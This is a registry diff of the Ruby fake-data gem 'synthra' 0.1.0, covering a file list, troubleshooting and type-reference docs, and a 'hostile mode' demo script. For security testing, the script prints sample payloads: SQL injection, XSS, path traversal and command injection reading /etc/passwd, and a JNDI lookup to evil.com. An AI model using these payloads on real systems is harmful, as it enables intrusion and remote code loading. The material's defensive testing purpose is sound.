synthra 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (302) hide show
  1. checksums.yaml +7 -0
  2. data/.rspec +4 -0
  3. data/.rubocop.yml +40 -0
  4. data/.yardopts +18 -0
  5. data/ACCESS_DOCS.md +116 -0
  6. data/ADVANCED_FEATURES_SUMMARY.md +245 -0
  7. data/CHANGELOG.md +498 -0
  8. data/CODE_OF_CONDUCT.md +122 -0
  9. data/CONTRIBUTING.md +307 -0
  10. data/DOCUMENTATION.md +204 -0
  11. data/DOCUMENTATION_GUIDE.md +194 -0
  12. data/LICENSE +22 -0
  13. data/README.md +1458 -0
  14. data/Rakefile +128 -0
  15. data/benchmark/README.md +591 -0
  16. data/benchmark/batch_generation.rb +63 -0
  17. data/benchmark/engine_comparison.rb +295 -0
  18. data/benchmark/single_record.rb +108 -0
  19. data/benchmark/streaming.rb +74 -0
  20. data/docs/ACTIVERECORD_INFERENCE.md +524 -0
  21. data/docs/API_SERVER.md +278 -0
  22. data/docs/CONFIG_FILE.md +315 -0
  23. data/docs/DATA_CONTRACTS.md +312 -0
  24. data/docs/ENHANCED_REPL.md +304 -0
  25. data/docs/FACTORY_BOT.md +271 -0
  26. data/docs/GITHUB_ACTION.md +420 -0
  27. data/docs/GRAPHQL_EXPORT.md +303 -0
  28. data/docs/GRAPHQL_FEDERATION.md +651 -0
  29. data/docs/HOW_TO_GENERATE_DOCS.md +252 -0
  30. data/docs/LSP.md +189 -0
  31. data/docs/MIGRATION_GENERATOR.md +547 -0
  32. data/docs/MOCK_SERVER.md +280 -0
  33. data/docs/NATIVE_ENGINE.md +298 -0
  34. data/docs/OPENAPI_EXPORT.md +252 -0
  35. data/docs/PERFORMANCE_MODE.md +228 -0
  36. data/docs/PERSONAS.md +547 -0
  37. data/docs/PROPERTY_TESTING.md +284 -0
  38. data/docs/PROTOBUF_EXPORT.md +276 -0
  39. data/docs/QUALITY_METRICS.md +555 -0
  40. data/docs/QUICK_REFERENCE.md +88 -0
  41. data/docs/RAILS_ENGINE.md +404 -0
  42. data/docs/RAILS_INTEGRATION.md +454 -0
  43. data/docs/README.md +175 -0
  44. data/docs/REPL_QUICK_REFERENCE.md +149 -0
  45. data/docs/RUST_INTEGRATION_GUIDE.md +1376 -0
  46. data/docs/SCENARIOS.md +576 -0
  47. data/docs/SECURITY_TESTING.md +318 -0
  48. data/docs/SNAPSHOT_TESTING.md +308 -0
  49. data/docs/STRING_TEXT_TYPES_REFERENCE.md +512 -0
  50. data/docs/TERRAFORM_EXPORT.md +447 -0
  51. data/docs/TIME_TRAVEL.md +507 -0
  52. data/docs/USAGE_GUIDE.md +980 -0
  53. data/docs/WEBHOOK_SIMULATOR.md +579 -0
  54. data/docs/advanced_features.md +183 -0
  55. data/docs/api_reference.md +153 -0
  56. data/docs/behaviors.md +138 -0
  57. data/docs/best_practices.md +191 -0
  58. data/docs/dsl_reference.md +172 -0
  59. data/docs/examples.md +162 -0
  60. data/docs/generation_modes.md +125 -0
  61. data/docs/getting_started.md +92 -0
  62. data/docs/index.html +177 -0
  63. data/docs/strategic/CLOUD_REGISTRY_ARCHITECTURE.md +268 -0
  64. data/docs/strategic/SIMD_OPTIMIZATION_STRATEGY.md +153 -0
  65. data/docs/troubleshooting.md +215 -0
  66. data/docs/type_reference.md +224 -0
  67. data/examples/hostile_mode_demo.rb +64 -0
  68. data/exe/synthra +6 -0
  69. data/ext/synthra_native/Cargo.lock +972 -0
  70. data/ext/synthra_native/Cargo.toml +46 -0
  71. data/ext/synthra_native/extconf.rb +41 -0
  72. data/ext/synthra_native/src/generator.rs +397 -0
  73. data/ext/synthra_native/src/lib.rs +229 -0
  74. data/ext/synthra_native/src/types.rs +1485 -0
  75. data/lib/generators/synthra/install_generator.rb +86 -0
  76. data/lib/generators/synthra/templates/api_response.dsl +15 -0
  77. data/lib/generators/synthra/templates/fake_data.rake +116 -0
  78. data/lib/generators/synthra/templates/synthra.yml +31 -0
  79. data/lib/generators/synthra/templates/synthra_support.rb +19 -0
  80. data/lib/generators/synthra/templates/user.dsl +11 -0
  81. data/lib/synthra/activerecord_inference.rb +394 -0
  82. data/lib/synthra/api.rb +381 -0
  83. data/lib/synthra/api_server.rb +718 -0
  84. data/lib/synthra/behaviors/applicator.rb +165 -0
  85. data/lib/synthra/behaviors/base.rb +155 -0
  86. data/lib/synthra/behaviors/close_connection.rb +60 -0
  87. data/lib/synthra/behaviors/deprecated.rb +100 -0
  88. data/lib/synthra/behaviors/failure.rb +69 -0
  89. data/lib/synthra/behaviors/latency.rb +103 -0
  90. data/lib/synthra/behaviors/partial_data.rb +83 -0
  91. data/lib/synthra/behaviors/randomize_order.rb +74 -0
  92. data/lib/synthra/behaviors/registry.rb +238 -0
  93. data/lib/synthra/behaviors/simulate_error.rb +79 -0
  94. data/lib/synthra/cli/commands/base.rb +105 -0
  95. data/lib/synthra/cli/commands/diff.rb +227 -0
  96. data/lib/synthra/cli/commands/docs.rb +67 -0
  97. data/lib/synthra/cli/commands/export.rb +150 -0
  98. data/lib/synthra/cli/commands/generate.rb +72 -0
  99. data/lib/synthra/cli/commands/import.rb +80 -0
  100. data/lib/synthra/cli/commands/lint.rb +53 -0
  101. data/lib/synthra/cli/commands/live.rb +57 -0
  102. data/lib/synthra/cli/commands/seed.rb +99 -0
  103. data/lib/synthra/cli/commands/validate.rb +28 -0
  104. data/lib/synthra/cli.rb +2471 -0
  105. data/lib/synthra/config_file.rb +129 -0
  106. data/lib/synthra/configuration.rb +281 -0
  107. data/lib/synthra/contracts_registry.rb +408 -0
  108. data/lib/synthra/database_seeder.rb +268 -0
  109. data/lib/synthra/deterministic_ids.rb +218 -0
  110. data/lib/synthra/documentation_generator.rb +414 -0
  111. data/lib/synthra/engine.rb +251 -0
  112. data/lib/synthra/errors.rb +1169 -0
  113. data/lib/synthra/export/base.rb +85 -0
  114. data/lib/synthra/export/csv.rb +101 -0
  115. data/lib/synthra/export/graphql.rb +266 -0
  116. data/lib/synthra/export/graphql_federation.rb +377 -0
  117. data/lib/synthra/export/graphviz.rb +258 -0
  118. data/lib/synthra/export/javascript.rb +327 -0
  119. data/lib/synthra/export/json_data.rb +61 -0
  120. data/lib/synthra/export/json_schema.rb +290 -0
  121. data/lib/synthra/export/openapi.rb +514 -0
  122. data/lib/synthra/export/protobuf.rb +483 -0
  123. data/lib/synthra/export/python.rb +560 -0
  124. data/lib/synthra/export/sql.rb +381 -0
  125. data/lib/synthra/export/sql_insert.rb +152 -0
  126. data/lib/synthra/export/terraform.rb +501 -0
  127. data/lib/synthra/export/type_mapping.rb +389 -0
  128. data/lib/synthra/export/typescript.rb +300 -0
  129. data/lib/synthra/export/xml_data.rb +104 -0
  130. data/lib/synthra/export/yaml_data.rb +56 -0
  131. data/lib/synthra/export.rb +404 -0
  132. data/lib/synthra/factory_bot_integration.rb +157 -0
  133. data/lib/synthra/field.rb +440 -0
  134. data/lib/synthra/functions/registry.rb +104 -0
  135. data/lib/synthra/generator/context.rb +372 -0
  136. data/lib/synthra/generator/engine.rb +336 -0
  137. data/lib/synthra/generator/faker_adapter.rb +425 -0
  138. data/lib/synthra/generator/modes.rb +444 -0
  139. data/lib/synthra/generator/resolver.rb +256 -0
  140. data/lib/synthra/generator/rng.rb +273 -0
  141. data/lib/synthra/generator/streamer.rb +63 -0
  142. data/lib/synthra/generator/uniqueness.rb +118 -0
  143. data/lib/synthra/initializer.rb +97 -0
  144. data/lib/synthra/limits.rb +279 -0
  145. data/lib/synthra/live_preview.rb +518 -0
  146. data/lib/synthra/loader_config.rb +78 -0
  147. data/lib/synthra/lsp/server.rb +689 -0
  148. data/lib/synthra/migration_generator.rb +301 -0
  149. data/lib/synthra/mixin.rb +174 -0
  150. data/lib/synthra/mock_server.rb +458 -0
  151. data/lib/synthra/native_engine.rb +304 -0
  152. data/lib/synthra/openapi_importer.rb +228 -0
  153. data/lib/synthra/output/json_formatter.rb +40 -0
  154. data/lib/synthra/output/ndjson_formatter.rb +55 -0
  155. data/lib/synthra/parser/ast.rb +1287 -0
  156. data/lib/synthra/parser/lexer.rb +1152 -0
  157. data/lib/synthra/parser/parser.rb +1664 -0
  158. data/lib/synthra/parser/tokens.rb +461 -0
  159. data/lib/synthra/performance_mode.rb +364 -0
  160. data/lib/synthra/personas.rb +397 -0
  161. data/lib/synthra/property_testing.rb +172 -0
  162. data/lib/synthra/quality_metrics.rb +405 -0
  163. data/lib/synthra/rails_test_helper.rb +248 -0
  164. data/lib/synthra/registry.rb +533 -0
  165. data/lib/synthra/relationships.rb +193 -0
  166. data/lib/synthra/repl/enhanced_repl.rb +607 -0
  167. data/lib/synthra/repl/formatter.rb +191 -0
  168. data/lib/synthra/scenarios.rb +423 -0
  169. data/lib/synthra/schema.rb +605 -0
  170. data/lib/synthra/schema_inheritance.rb +104 -0
  171. data/lib/synthra/schema_versioning.rb +212 -0
  172. data/lib/synthra/snapshot_testing.rb +199 -0
  173. data/lib/synthra/time_travel.rb +338 -0
  174. data/lib/synthra/type_definitions.rb +274 -0
  175. data/lib/synthra/types/address_location/addresses.rb +125 -0
  176. data/lib/synthra/types/address_location/airports.rb +200 -0
  177. data/lib/synthra/types/address_location/banks_hospitals.rb +207 -0
  178. data/lib/synthra/types/address_location/locations.rb +406 -0
  179. data/lib/synthra/types/base.rb +48 -0
  180. data/lib/synthra/types/commerce_products/commerce.rb +119 -0
  181. data/lib/synthra/types/commerce_products/companies.rb +71 -0
  182. data/lib/synthra/types/commerce_products/construction.rb +126 -0
  183. data/lib/synthra/types/commerce_products/products.rb +205 -0
  184. data/lib/synthra/types/core/collections.rb +513 -0
  185. data/lib/synthra/types/core/defaults.rb +76 -0
  186. data/lib/synthra/types/core/enums.rb +102 -0
  187. data/lib/synthra/types/core/identifiers.rb +445 -0
  188. data/lib/synthra/types/core/primitives.rb +586 -0
  189. data/lib/synthra/types/core/references.rb +466 -0
  190. data/lib/synthra/types/core/sequences.rb +304 -0
  191. data/lib/synthra/types/crypto/crypto.rb +162 -0
  192. data/lib/synthra/types/date_time/dates.rb +387 -0
  193. data/lib/synthra/types/finance_banking/banking.rb +424 -0
  194. data/lib/synthra/types/finance_banking/credit_cards.rb +24 -0
  195. data/lib/synthra/types/finance_banking/identifiers.rb +93 -0
  196. data/lib/synthra/types/formula.rb +184 -0
  197. data/lib/synthra/types/health_medical/medical.rb +150 -0
  198. data/lib/synthra/types/hostile_payloads.rb +122 -0
  199. data/lib/synthra/types/json_array.rb +51 -0
  200. data/lib/synthra/types/media_entertainment/media.rb +62 -0
  201. data/lib/synthra/types/naughty_string.rb +30 -0
  202. data/lib/synthra/types/personal_names/chinese.rb +41 -0
  203. data/lib/synthra/types/personal_names/identifiers.rb +187 -0
  204. data/lib/synthra/types/personal_names/names.rb +246 -0
  205. data/lib/synthra/types/personal_names/national_id.rb +89 -0
  206. data/lib/synthra/types/personal_names/titles_suffixes.rb +41 -0
  207. data/lib/synthra/types/regex.rb +248 -0
  208. data/lib/synthra/types/registry.rb +182 -0
  209. data/lib/synthra/types/repeating_element.rb +50 -0
  210. data/lib/synthra/types/scenario.rb +29 -0
  211. data/lib/synthra/types/technology_internet/apps.rb +67 -0
  212. data/lib/synthra/types/technology_internet/communication.rb +162 -0
  213. data/lib/synthra/types/technology_internet/devices.rb +80 -0
  214. data/lib/synthra/types/technology_internet/formats.rb +139 -0
  215. data/lib/synthra/types/technology_internet/networking.rb +143 -0
  216. data/lib/synthra/types/template.rb +92 -0
  217. data/lib/synthra/types/text_content/business.rb +128 -0
  218. data/lib/synthra/types/text_content/colors.rb +70 -0
  219. data/lib/synthra/types/text_content/misc.rb +237 -0
  220. data/lib/synthra/types/text_content/security.rb +130 -0
  221. data/lib/synthra/types/text_content/text_generation.rb +532 -0
  222. data/lib/synthra/types/travel/travel.rb +150 -0
  223. data/lib/synthra/utils/string_distance.rb +133 -0
  224. data/lib/synthra/validator/dsl_validator.rb +339 -0
  225. data/lib/synthra/validator/path_validator.rb +615 -0
  226. data/lib/synthra/version.rb +35 -0
  227. data/lib/synthra/webhook_simulator.rb +341 -0
  228. data/lib/synthra.rb +259 -0
  229. data/schemas/address.dsl +16 -0
  230. data/schemas/api_response.dsl +8 -0
  231. data/schemas/error_payload.dsl +9 -0
  232. data/schemas/order.dsl +10 -0
  233. data/schemas/order_item.dsl +8 -0
  234. data/schemas/payment.dsl +11 -0
  235. data/schemas/social_post.dsl +13 -0
  236. data/schemas/user.dsl +10 -0
  237. data/scripts/batch_fix_all.rb +96 -0
  238. data/scripts/delete_old_files.rb +32 -0
  239. data/scripts/fix_all_grouped_files.rb +137 -0
  240. data/scripts/fix_all_indentation.rb +48 -0
  241. data/scripts/fix_all_syntax.rb +124 -0
  242. data/scripts/fix_grouped_files.rb +184 -0
  243. data/scripts/fix_syntax_errors.rb +108 -0
  244. data/scripts/group_domain_types.rb +112 -0
  245. data/scripts/group_domain_types_fixed.rb +150 -0
  246. data/scripts/merge_domains_to_one_file.rb +68 -0
  247. data/scripts/move_existing_types.rb +130 -0
  248. data/scripts/split_grouped_types.rb +142 -0
  249. data/tech_docs/README.md +134 -0
  250. data/tech_docs/advanced/streaming.md +405 -0
  251. data/tech_docs/advanced/thread_safety.md +253 -0
  252. data/tech_docs/api/overview.md +485 -0
  253. data/tech_docs/appendices/type_chart.md +193 -0
  254. data/tech_docs/basic_concepts.md +383 -0
  255. data/tech_docs/behaviors/overview.md +346 -0
  256. data/tech_docs/dsl/complex_types.md +790 -0
  257. data/tech_docs/dsl/core_types.md +464 -0
  258. data/tech_docs/dsl/datetime_types.md +325 -0
  259. data/tech_docs/dsl/field_modifiers.md +414 -0
  260. data/tech_docs/dsl/grammar.md +431 -0
  261. data/tech_docs/dsl/schema_definition.md +399 -0
  262. data/tech_docs/export/README.md +276 -0
  263. data/tech_docs/installation.md +273 -0
  264. data/tech_docs/integration/ci_cd.md +707 -0
  265. data/tech_docs/integration/ci_cd_guide.md +579 -0
  266. data/tech_docs/integration/factory_bot.md +485 -0
  267. data/tech_docs/integration/rails.md +630 -0
  268. data/tech_docs/integration/rspec.md +449 -0
  269. data/tech_docs/modes/overview.md +350 -0
  270. data/tech_docs/performance/NATIVE_RUST_EXTENSION.md +1270 -0
  271. data/tech_docs/performance/OPTIMIZATION_GUIDE.md +901 -0
  272. data/tech_docs/quick_start.md +256 -0
  273. data/tech_docs/templates/README.md +805 -0
  274. data/tech_docs/tutorials/advanced.md +371 -0
  275. data/tech_docs/tutorials/getting_started.md +189 -0
  276. data/tech_docs/tutorials/intermediate.md +231 -0
  277. data/tech_docs/tutorials/template_gallery.md +569 -0
  278. data/tech_example/01_basic_usage.rb +238 -0
  279. data/tech_example/02_types_demo.rb +336 -0
  280. data/tech_example/04_cli_usage.md +429 -0
  281. data/tech_example/05_database_seeding.rb +283 -0
  282. data/tech_example/07_rspec_integration.rb +359 -0
  283. data/tech_example/10_custom_types.rb +387 -0
  284. data/tech_example/12_behaviors.rb +372 -0
  285. data/tech_example/13_twitter_dm_example.rb +120 -0
  286. data/tech_example/14_exact_json_structure.rb +253 -0
  287. data/tech_example/16_lsp_server.rb +56 -0
  288. data/tech_example/17_property_testing.rb +92 -0
  289. data/tech_example/18_enhanced_repl.rb +120 -0
  290. data/tech_example/19_security_fuzzing.rb +145 -0
  291. data/tech_example/NEW_FEATURES.md +169 -0
  292. data/tech_example/README.md +118 -0
  293. data/tech_example/schemas/api_response.dsl +123 -0
  294. data/tech_example/schemas/ecommerce.dsl +121 -0
  295. data/tech_example/schemas/twitter_dm.dsl +109 -0
  296. data/tech_example/schemas/user.dsl +36 -0
  297. data/vscode-extension/README.md +246 -0
  298. data/vscode-extension/language-configuration.json +31 -0
  299. data/vscode-extension/package.json +55 -0
  300. data/vscode-extension/snippets/fakedatadsl.json +198 -0
  301. data/vscode-extension/syntaxes/fakedatadsl.tmLanguage.json +128 -0
  302. metadata +478 -0
@@ -0,0 +1,215 @@
1
+ # Troubleshooting
2
+
3
+ Common issues and solutions when using FakeDataDSL.
4
+
5
+ ## Common Errors
6
+
7
+ ### ParseError
8
+
9
+ **Problem:** Schema syntax error
10
+
11
+ ```ruby
12
+ # Error: ParseError: Unexpected token at line 3
13
+ User:
14
+ id: uuid
15
+ name: name
16
+ email # Missing colon
17
+ ```
18
+
19
+ **Solution:** Check syntax, ensure all fields have colons
20
+
21
+ ```ruby
22
+ User:
23
+ id: uuid
24
+ name: name
25
+ email: email # Fixed
26
+ ```
27
+
28
+ ### UnknownTypeError
29
+
30
+ **Problem:** Type not recognized
31
+
32
+ ```ruby
33
+ # Error: UnknownTypeError: Unknown type 'mytype'
34
+ User:
35
+ value: mytype
36
+ ```
37
+
38
+ **Solution:** Register the type or use correct type name
39
+
40
+ ```ruby
41
+ # Option 1: Register custom type
42
+ FakeDataDSL.register_type(:mytype) { |rng| "value" }
43
+
44
+ # Option 2: Use correct type name
45
+ User:
46
+ value: text
47
+ ```
48
+
49
+ ### CyclicReferenceError
50
+
51
+ **Problem:** Circular references between schemas
52
+
53
+ ```ruby
54
+ # Error: CyclicReferenceError
55
+ User:
56
+ order_id: reference(Order, id)
57
+
58
+ Order:
59
+ user_id: reference(User, id)
60
+ ```
61
+
62
+ **Solution:** Break the cycle or use different approach
63
+
64
+ ```ruby
65
+ # Option 1: Remove one reference
66
+ User:
67
+ id: uuid
68
+
69
+ Order:
70
+ user_id: reference(User, id)
71
+
72
+ # Option 2: Use separate field
73
+ User:
74
+ id: uuid
75
+ orders: array(reference(Order, id))
76
+ ```
77
+
78
+ ### RecursionLimitError
79
+
80
+ **Problem:** Too deep recursion
81
+
82
+ ```ruby
83
+ # Error: RecursionLimitError
84
+ # Deeply nested references
85
+ ```
86
+
87
+ **Solution:** Increase limit or reduce nesting
88
+
89
+ ```ruby
90
+ # Increase limit
91
+ FakeDataDSL.configure do |config|
92
+ config.max_recursion = 20
93
+ end
94
+
95
+ # Or reduce nesting depth
96
+ ```
97
+
98
+ ### UniquenessError
99
+
100
+ **Problem:** Cannot satisfy uniqueness constraint
101
+
102
+ ```ruby
103
+ # Error: UniquenessError
104
+ User:
105
+ email: email unique # Only 2 possible values, but need 100 unique
106
+ ```
107
+
108
+ **Solution:** Use more diverse types or remove uniqueness
109
+
110
+ ```ruby
111
+ # Option 1: Use more diverse type
112
+ User:
113
+ email: email # Remove unique if not needed
114
+
115
+ # Option 2: Use UUID for guaranteed uniqueness
116
+ User:
117
+ id: uuid unique
118
+ ```
119
+
120
+ ## Performance Issues
121
+
122
+ ### Slow Generation
123
+
124
+ **Problem:** Generation is too slow
125
+
126
+ **Solutions:**
127
+ - Reduce latency behaviors
128
+ - Use simpler types
129
+ - Increase resource limits
130
+ - Use streaming for large datasets
131
+
132
+ ```ruby
133
+ # Remove latency
134
+ User:
135
+ # @latency 100ms # Remove if not needed
136
+ id: uuid
137
+ name: name
138
+ ```
139
+
140
+ ### Memory Issues
141
+
142
+ **Problem:** Out of memory with large datasets
143
+
144
+ **Solution:** Use streaming
145
+
146
+ ```ruby
147
+ # Good - memory efficient
148
+ schema.generate_many_stream(100000).each do |record|
149
+ process(record)
150
+ end
151
+
152
+ # Bad - loads all into memory
153
+ records = schema.generate_many(100000)
154
+ ```
155
+
156
+ ## Data Quality Issues
157
+
158
+ ### Unrealistic Data
159
+
160
+ **Problem:** Generated data doesn't look realistic
161
+
162
+ **Solution:** Use appropriate types and ranges
163
+
164
+ ```ruby
165
+ # Good - realistic
166
+ User:
167
+ age: number(18..65)
168
+ email: email
169
+ created_at: past_date(days: 365)
170
+
171
+ # Bad - unrealistic
172
+ User:
173
+ age: number(0..1000)
174
+ email: text
175
+ created_at: text
176
+ ```
177
+
178
+ ### Missing Fields
179
+
180
+ **Problem:** Fields are sometimes missing
181
+
182
+ **Solution:** Check for optional/partial_data behaviors
183
+
184
+ ```ruby
185
+ # Remove optional if not needed
186
+ User:
187
+ # phone: phone optional # Remove optional
188
+ phone: phone
189
+ ```
190
+
191
+ ## Configuration Issues
192
+
193
+ ### Seed Not Working
194
+
195
+ **Problem:** Different data with same seed
196
+
197
+ **Solution:** Ensure seed is set before generation
198
+
199
+ ```ruby
200
+ # Good - set seed first
201
+ FakeDataDSL.configure { |c| c.seed = 12345 }
202
+ record = schema.generate
203
+
204
+ # Bad - set seed after
205
+ record = schema.generate
206
+ FakeDataDSL.configure { |c| c.seed = 12345 }
207
+ ```
208
+
209
+ ## Getting Help
210
+
211
+ - Check [Examples](examples.md) for usage patterns
212
+ - Review [DSL Reference](dsl_reference.md) for syntax
213
+ - See [Best Practices](best_practices.md) for recommendations
214
+ - Open an issue on GitHub
215
+
@@ -0,0 +1,224 @@
1
+ # Type Reference
2
+
3
+ Complete reference for all available data types in FakeDataDSL.
4
+
5
+ ## Basic Types
6
+
7
+ ### Identifiers
8
+
9
+ - **`uuid`** - UUID v4 identifier
10
+ ```ruby
11
+ id: uuid
12
+ id: uuid(version: 6) # UUID v6
13
+ id: uuid(version: 7) # UUID v7
14
+ ```
15
+
16
+ - **`ulid`** - ULID identifier
17
+ ```ruby
18
+ id: ulid
19
+ ```
20
+
21
+ - **`id_sequence`** - Sequential numeric IDs
22
+ ```ruby
23
+ id: id_sequence
24
+ id: id_sequence(start: 1000)
25
+ ```
26
+
27
+ ### Strings
28
+
29
+ - **`name`** - Full person name
30
+ ```ruby
31
+ name: name
32
+ ```
33
+
34
+ - **`text`** - Random text
35
+ ```ruby
36
+ description: text
37
+ bio: text(100..500) # Length range
38
+ ```
39
+
40
+ - **`email`** - Email address
41
+ ```ruby
42
+ email: email
43
+ ```
44
+
45
+ - **`phone`** - Phone number
46
+ ```ruby
47
+ phone: phone
48
+ phone: phone(country: :us)
49
+ ```
50
+
51
+ - **`url`** - Web URL
52
+ ```ruby
53
+ website: url
54
+ ```
55
+
56
+ ### Numbers
57
+
58
+ - **`number`** - Numeric value
59
+ ```ruby
60
+ age: number(18..65)
61
+ price: number(min: 10, max: 100)
62
+ ```
63
+
64
+ - **`boolean`** - True/false
65
+ ```ruby
66
+ active: boolean
67
+ ```
68
+
69
+ ### Dates and Times
70
+
71
+ - **`date`** - Calendar date
72
+ ```ruby
73
+ birth_date: date
74
+ birth_date: date(2020-01-01..2024-12-31)
75
+ ```
76
+
77
+ - **`past_date`** - Date in the past
78
+ ```ruby
79
+ created_at: past_date
80
+ created_at: past_date(days: 30)
81
+ ```
82
+
83
+ - **`future_date`** - Date in the future
84
+ ```ruby
85
+ expires_at: future_date
86
+ expires_at: future_date(days: 90)
87
+ ```
88
+
89
+ - **`timestamp`** - Unix timestamp
90
+ ```ruby
91
+ created_at: timestamp
92
+ ```
93
+
94
+ - **`now`** - Current timestamp
95
+ ```ruby
96
+ updated_at: now
97
+ ```
98
+
99
+ ## Personal Information Types
100
+
101
+ - **`first_name`** - Given name
102
+ - **`last_name`** - Family name
103
+ - **`full_name`** - Combined first and last name
104
+ - **`gender`** - Gender identity
105
+ - **`age`** - Age value
106
+ - **`username`** - Username identifier
107
+ - **`national_id`** - Government ID (SSN, etc.)
108
+
109
+ ## Location Types
110
+
111
+ - **`country`** - Country name
112
+ - **`country_code`** - ISO country code (US, GB, etc.)
113
+ - **`city`** - City name
114
+ - **`state`** - State/province name
115
+ - **`address`** - Full street address
116
+ - **`postal_code`** - Postal/ZIP code
117
+ - **`latitude`** - Geographic latitude
118
+ - **`longitude`** - Geographic longitude
119
+ - **`timezone`** - IANA timezone identifier
120
+
121
+ ## Commerce Types
122
+
123
+ - **`product_name`** - Product name
124
+ - **`product_category`** - Product category
125
+ - **`sku`** - Stock keeping unit
126
+ - **`money`** - Monetary amount
127
+ - **`discount`** - Discount value
128
+ - **`tax_rate`** - Tax rate percentage
129
+
130
+ ## Finance Types
131
+
132
+ - **`credit_card`** - Credit card number (Luhn-valid)
133
+ - **`bank_name`** - Bank name
134
+ - **`account_number`** - Bank account number
135
+ - **`iban`** - International Bank Account Number
136
+ - **`transaction_amount`** - Financial transaction amount
137
+
138
+ ## Internet/IT Types
139
+
140
+ - **`ip`** - IPv4 address
141
+ - **`ipv6`** - IPv6 address
142
+ - **`mac_address`** - MAC address
143
+ - **`domain`** - Domain name
144
+ - **`user_agent`** - Browser user agent string
145
+
146
+ ## Crypto Types
147
+
148
+ - **`hash`** - Cryptographic hash
149
+ - **`bitcoin_address`** - Bitcoin wallet address
150
+ - **`ethereum_address`** - Ethereum wallet address
151
+ - **`private_key`** - Cryptographic private key
152
+
153
+ ## Health Types
154
+
155
+ - **`blood_type`** - Blood group (A+, B-, etc.)
156
+ - **`bmi`** - Body Mass Index
157
+ - **`heart_rate`** - Heart beats per minute
158
+ - **`medical_code`** - Medical classification code
159
+
160
+ ## Travel Types
161
+
162
+ - **`airport_code`** - IATA airport code
163
+ - **`airline`** - Airline name
164
+ - **`flight_number`** - Flight identifier
165
+ - **`seat_number`** - Aircraft seat number
166
+
167
+ ## Advanced Types
168
+
169
+ - **`enum`** - Enumeration with values
170
+ ```ruby
171
+ status: enum(active, inactive, pending)
172
+ status: enum(active: 80%, inactive: 15%, pending: 5%)
173
+ ```
174
+
175
+ - **`array`** - Array of values
176
+ ```ruby
177
+ tags: array(text, 3..10)
178
+ scores: array(number(0..100), 5)
179
+ ```
180
+
181
+ - **`object`** - Nested object
182
+ ```ruby
183
+ address: object(
184
+ street: text,
185
+ city: city,
186
+ zip: postal_code
187
+ )
188
+ ```
189
+
190
+ - **`reference`** - Reference another schema
191
+ ```ruby
192
+ user_id: reference(User, id)
193
+ ```
194
+
195
+ - **`custom`** - Custom function
196
+ ```ruby
197
+ slug: custom(:generate_slug)
198
+ ```
199
+
200
+ - **`formula`** - Computed value
201
+ ```ruby
202
+ total: formula(price * quantity)
203
+ ```
204
+
205
+ - **`template`** - String interpolation
206
+ ```ruby
207
+ greeting: template("Hello {first_name}!")
208
+ ```
209
+
210
+ - **`sequence`** - Sequential values
211
+ ```ruby
212
+ order: sequence(start: 1, step: 1)
213
+ ```
214
+
215
+ - **`default_value`** - Default value with probability
216
+ ```ruby
217
+ status: default_value(value: "active", probability: 0.9)
218
+ ```
219
+
220
+ ## See Also
221
+
222
+ - [DSL Reference](dsl_reference.md) - Syntax details
223
+ - [Examples](examples.md) - Usage examples
224
+
@@ -0,0 +1,64 @@
1
+ #!/usr/bin/env ruby
2
+ # frozen_string_literal: true
3
+
4
+ # Demonstration script for :hostile mode in FakeDataDSL
5
+ #
6
+ # This script shows how to use the new:hostile generation mode
7
+ # to create security testing payloads
8
+
9
+ require_relative "lib/fake_data_dsl"
10
+
11
+ puts "=" * 80
12
+ puts "FakeDataDSL - Hostile Mode Demonstration"
13
+ puts "Security Testing & Payload Generation"
14
+ puts "=" * 80
15
+ puts
16
+
17
+ # Define a User schema with various field types
18
+ user_dsl = <<~DSL
19
+ User:
20
+ id: uuid
21
+ username: text(10..20)
22
+ age: number(18..100)
23
+ bio: text(50..200)
24
+ score: number(0..1000)
25
+ DSL
26
+
27
+ schema = FakeDataDSL.parse(user_dsl)
28
+
29
+ # Generate normal data
30
+ puts "1. NORMAL Mode (:random)"
31
+ puts "-" * 80
32
+ normal_user = schema.generate(seed: 42, mode: :random)
33
+ puts JSON.pretty_generate(normal_user)
34
+ puts
35
+
36
+ # Generate hostile data for security testing
37
+ puts "2. HOSTILE Mode (:hostile) - Security Testing Payloads"
38
+ puts "-" * 80
39
+ puts "This mode generates malicious payloads to test system defenses:\n\n"
40
+
41
+ 5.times do |i|
42
+ puts "Sample ##{i + 1}:"
43
+ hostile_user = schema.generate(seed: 100 + i, mode: :hostile)
44
+ puts JSON.pretty_generate(hostile_user)
45
+ puts
46
+ end
47
+
48
+ puts "=" * 80
49
+ puts "Hostile Payload Categories Generated:"
50
+ puts "=" * 80
51
+ puts "✓ SQL Injection (SQLi): ' OR '1'='1, admin'--"
52
+ puts "✓ XSS (Cross-Site Scripting): <script>alert('XSS')</script>"
53
+ puts "✓ Path Traversal: ../../../etc/passwd"
54
+ puts "✓ Buffer Overflows: 'A' * 100000"
55
+ puts "✓ Number Overflows: 2^63, Float::INFINITY, Float::NAN"
56
+ puts "✓ Unicode Edge Cases: Zalgo text, RTL overrides"
57
+ puts "✓ Command Injection: ; ls -la, | cat /etc/passwd"
58
+ puts "✓ Template Injection: {{7*7}}, ${jndi:ldap://evil.com}"
59
+ puts
60
+ puts "Use Case: API Security Testing"
61
+ puts "- Send these payloads to API endpoints to verify proper sanitization"
62
+ puts "- Test database query parameterization"
63
+ puts "- Verify input validation and escaping"
64
+ puts "=" * 80
data/exe/synthra ADDED
@@ -0,0 +1,6 @@
1
+ #!/usr/bin/env ruby
2
+ # frozen_string_literal: true
3
+
4
+ require "synthra"
5
+
6
+ exit Synthra::CLI.new(ARGV).run